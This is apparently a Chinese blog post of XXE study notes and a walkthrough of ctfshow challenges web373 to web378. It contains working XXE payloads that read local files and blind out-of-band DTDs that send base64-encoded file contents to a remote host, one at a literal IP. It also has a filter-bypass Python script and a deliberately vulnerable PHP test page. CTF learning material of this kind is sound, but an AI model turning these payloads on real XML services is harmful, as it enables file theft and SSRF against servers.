xxe漏洞学习

本文最后更新于 2024年6月29日 下午

前言:深入浅出的学习一下xxe漏洞

参考文章:

一篇文章带你深入理解漏洞之 XXE 漏洞

XXE漏洞详解(全网最详细)

【CTF-Web】XXE学习笔记

一、XXE 是什么

在了解xxe之前,需要了解一下xml注入,通常都是逻辑漏洞,如下内容

xml

能插入xml代码,肯定还想要更多骚操作,于是就出现了xxe

XXE(XML External Entity Injection) 全称为 XML 外部实体注入,是一个注入漏洞。注意的是外部实体,不要被其他名字相似的东西扰乱了思维。

二、基础知识

XXE漏洞原理

漏洞成因:解析时未对XML外部实体加以限制,导致攻击者将恶意代码注入到XML中,导致服务器加载恶意的外部实体引发文件读取,SSRF,命令执行等危害操作。

特征:HTTP的Request报文出现以下请求报文,说明采用的是xml数据传输,可以进行xml测试漏洞

1
Content-type:text/xml application/xml

XML的基础知识

语法:

1
2
3
4
5
XML 指可扩展标记语言(EXtensible Markup Language)
XML 是一种标记语言,很类似 HTML
XML 被设计为传输和存储数据,其焦点是数据的内容
XML 被设计用来结构化、存储以及传输信息
XML 允许创作者定义自己的标签和自己的文档结构

结构:

1
2
3
1.XML 文档声明,在文档的第一行
2.XML 文档类型定义,即DTD,XXE 漏洞所在的地方
3.XML 文档元素

格式规范DTD:

XML 文档有自己的格式规范,这个格式规范是 DTD(document type definition) 来控制的,如下

1
2
3
4
5
6
7
<?xml version="1.0"?>//这一行是 XML 文档定义
<!DOCTYPE message [
<!ELEMENT message (receiver ,sender ,header ,msg)>
<!ELEMENT receiver (#PCDATA)>
<!ELEMENT sender (#PCDATA)>
<!ELEMENT header (#PCDATA)>
<!ELEMENT msg (#PCDATA)>

上面这个 DTD 就定义了 XML 的根元素是 message,然后跟元素下面有一些子元素,那么 XML 到时候必须像下面这么写

1
2
3
4
5
6
<message>
<receiver>Myself</receiver>
<sender>Someone</sender>
<header>TheReminder</header>
<msg>This is an amazing book</msg>
</message>

除了定义元素,还可以定义实体,分为内部实体和外部实体

内部实体
1
2
3
4
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "test" >]>

这里定义元素是ANY,说明接受任何元素,但是又定义了一个实体(也可以把他看成一个变量),那么就可以写作这样

1
<foo>&xxe;</foo>

我们使用了&xxe对上面定义的xxe实体进行了引用,到时候输出的时候&xxe就会被test替代。

外部实体(重点)

有SYSTEM和PUBLIC两个关键字,表示实体来自本地计算机还是公共计算机,
外部实体的引用可以利用如下协议
file:///path/to/file.ext
http://url/file.ext
php://filter/read=convert.base64-encode/resource=conf.php

比如

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

这样对引用资源所做的任何更改都会在文档中自动更新

还有一种引用方式是使用 引用公用 DTD的方法,如下内容

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" >
%xxe;
]>
<foo>&evil;</foo>

外部evil.dtd中的内容
<!ENTITY evil SYSTEM “file:///d:/1.txt” >

%xxe执行后会加载外部实体 evil.dtd 并执行,得到的结果会放在<foo></foo>中。


我们在上面将实体分为了内部和外部,但是实际情况上,也可以分为通用实体和参数实体(orz

通用实体

用 &实体名; 引用的实体,他在DTD 中定义,在 XML 文档中引用,例如

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE updateProfile [
<!ENTITY file SYSTEM "file:///c:/windows/win.ini">
]>
<updateProfile>
<firstname>Joe</firstname>
<lastname>&file;</lastname>
...
</updateProfile>
参数实体

(1)使用 % 实体名(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名; 引用
(2)只有在 DTD 文件中,参数实体的声明才能引用其他实体
(3)和通用实体一样,参数实体也可以外部引用

1
2
3
<!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> 
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd">
%an-element; %remote-dtd;

参数实体在我们 Blind XXE 中起到了至关重要的作用

三、XXE漏洞利用

通过对基础知识的理解,我们不难发现可以通过读dtd,将路径换成敏感路径,把敏感路径读取出来

有回显读取本地文件

由于本人php版本高于7.1需要将代码进行适当的调整,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
// 输出所有错误信息
error_reporting(E_ALL);
ini_set('display_errors', 1);

// 临时允许外部实体加载(仅用于测试)
libxml_disable_entity_loader(false);

// 获取XML字符串
$xmlString = $_GET['xml'];

// 解析XML字符串
$xml = simplexml_load_string($xmlString, null, LIBXML_NOENT);

if ($xml === false) {
echo "Failed to load XML. Errors: ";
foreach(libxml_get_errors() as $error) {
echo "<br>", $error->message;
}
} else {
echo "Parsed XML: ";
echo htmlspecialchars((string)$xml); // 使用htmlspecialchars防止XSS
}
?>

payload进行url编码

1
2
3
4
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY file SYSTEM "file:///D://1.txt">]>
<root>&file;</root>

本地回显

由此还可以继续延申,在这种情况下由于没有什么特殊符号,可以顺利读取,那假如有呢

比如1.txt

我们再继续尝试看看网页,此时会有一堆报错

这个时候可以使用CDATA

介绍:CDATA节中所有的字符都会被当做元素字符数据的常量部分,而不是xml标记

因此可以尝试把读出来的数据放在CDATA中输出进行绕过,这里会用到参数实体,payload就不展示了,感兴趣可以自己尝试。

无回显读取本地文件

加载远程DTD

在远程服务器上新建test.dtd

1
2
<!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://xxx.xxx.xxx.xxx/?content=%file;'>"> %payload;
//%号要进行实体编码成&#x25

构造payload

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE test[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=D:/1.txt">
<!ENTITY % dtd SYSTEM "http://xxx.xxx.xxx.xxx/test.dtd">
%dtd;
%send;
]>

讲一下流程:首先先执行%dtd请求远程服务器上的test.dtd,然后执行%payload发送执行%file,最后执行%file获取对方服务器上的敏感文件,替换%send,实现外带

套用模板

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE data [
<!ENTITY % file SYSTEM "file:///c://test/1.txt">
<!ENTITY % dtd SYSTEM "http://localhost:88/evil.xml">
%dtd; %all;
]>
<value>&send;</value>

evil.xml文件内容为
<!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:88%file;'>">
1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=c:/test/1.txt">
<!ENTITY % dtd SYSTEM "http://localhost:88/evil.xml">
%dtd;
%send;
]>
<root></root>

evil.xml文件内容为:
<!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://localhost:88/?content=%file;'>"> %payload;

加载本地DTD

这种在刷题的时候不太常见,可以参考上面的参考文章使用。

四、靶机演练

1.ctfshow web373

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$ctfshow = $creds->ctfshow;
echo $ctfshow;
}
highlight_file(__FILE__);

代码大题的意思是读取xml,然后在xml文件中提取ctfshow标签中的内容,随后进行echo

直接尝试构造就行,有回显的还是挺简单的。

1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///flag" >]>
<creds>
<ctfshow>&xxe;</ctfshow>
</creds>

web373

2.ctfshow web374

1
2
3
4
5
6
7
8
9
10
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);

和第一个比较起来,第二个无回显。这个时候需要vps将内容带出来。

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE hacker[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % dtds SYSTEM "http://vps:8888/test.dtd">
%dtds;
]>
<root>
1
</root>

然后在服务器上传test.dtd

1
2
3
4
5
<!ENTITY % dtd "<!ENTITY &#x25; showflag SYSTEM 'http://8.130.42.113:5566/%file;'>">
<!--test.dtd的内容,内部的%号要进行实体编码成&#x25; 相当于% showflag-->
%dtd;
%showflag;

先用python开端口监听

374-1

然后再开端口接收内容

374-2

最后base解密就可以了

374-3

流程:首先在burpsuite的repeated页面构造最上面的payload,利用参数实体,调用%dtds,获得服务器上的test.dtd,再到dtd中的%dtd中的%showflag,这里注意%需要进行实体编码&#x25,把内容带出到我们开的端口上面,最后得到flag。

ps:我本地没有配置web服务,所以需要开个http服务,如果有配置的话不需要一些步骤,可以参考其他师傅的wp了解一下。

3.ctfshow web375

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-07 12:59:52
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-07 15:22:05
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/', $xmlfile)){
die('error');
}
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);


这题和374其实差不多,多了一层验证,判断是否有 ?xml version=”1.0”,如果有就会爆error

和374流程几乎完全一样只是绕过一下,有两种方法

方法一:

375-1

直接去掉就行,会默认是xml文本

方法二:

这里的判断是对整体的判断,中间多加一个空格就可以进行绕过

1
<?xml  version="1.0" encoding="UTF-8"?>

其他同374进行

4.ctfshow web376

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-07 12:59:52
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-07 15:23:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/i', $xmlfile)){
die('error');
}
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);

这题比上面多了一层大小写判断,基本没有影响

就用上面的方法就行

这里的双引号也可以用单引号进行绕过,不多赘叙

5.ctfshow web377

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-07 12:59:52
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-07 15:26:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){
die('error');
}
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);


这题比上层多了http的绕过,这题看了师傅的绕法

正常使用的是utf-8,我们可以编码为utf-16或者utf-32来进行python发包

直接上payload,这些题目基本是一样的

1
2
3
4
5
6
7
8
9
10
11
12
import requests
url='http://0197db2a-c2a9-49f9-8823-3868d3a6ae77.challenge.ctf.show/'
payload="""
<!DOCTYPE hacker[ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % dtds SYSTEM "http://vps:8888/test.dtd">
%dtds;
]>
<root>
1
</root>"""
payload=payload.encode('utf-16')
print(requests.post(url,data=payload).text)

6.ctfshow web378

378

f12看看源码定位到了一行

1
contentType: "application/xml;charset=utf-8"

那就是xxe无回显的题目了

378-1

简单分析一下,url/doLogin下面进行xxe利用,得到flag,构造username和password

378-2

得到flag

还有的例题可以参照我的litctf2024和polarctf2024夏,分别有道考察xxe方面的题目

五、总结

以上是我对xxe的浅层次的学习,虽然题目都不算太难,但也算能入个门了,暂时就到这了。


xxe漏洞学习
http://example.com/2024/06/10/学习文章/xxe学习笔记/
作者
orange
发布于
2024年6月10日
许可协议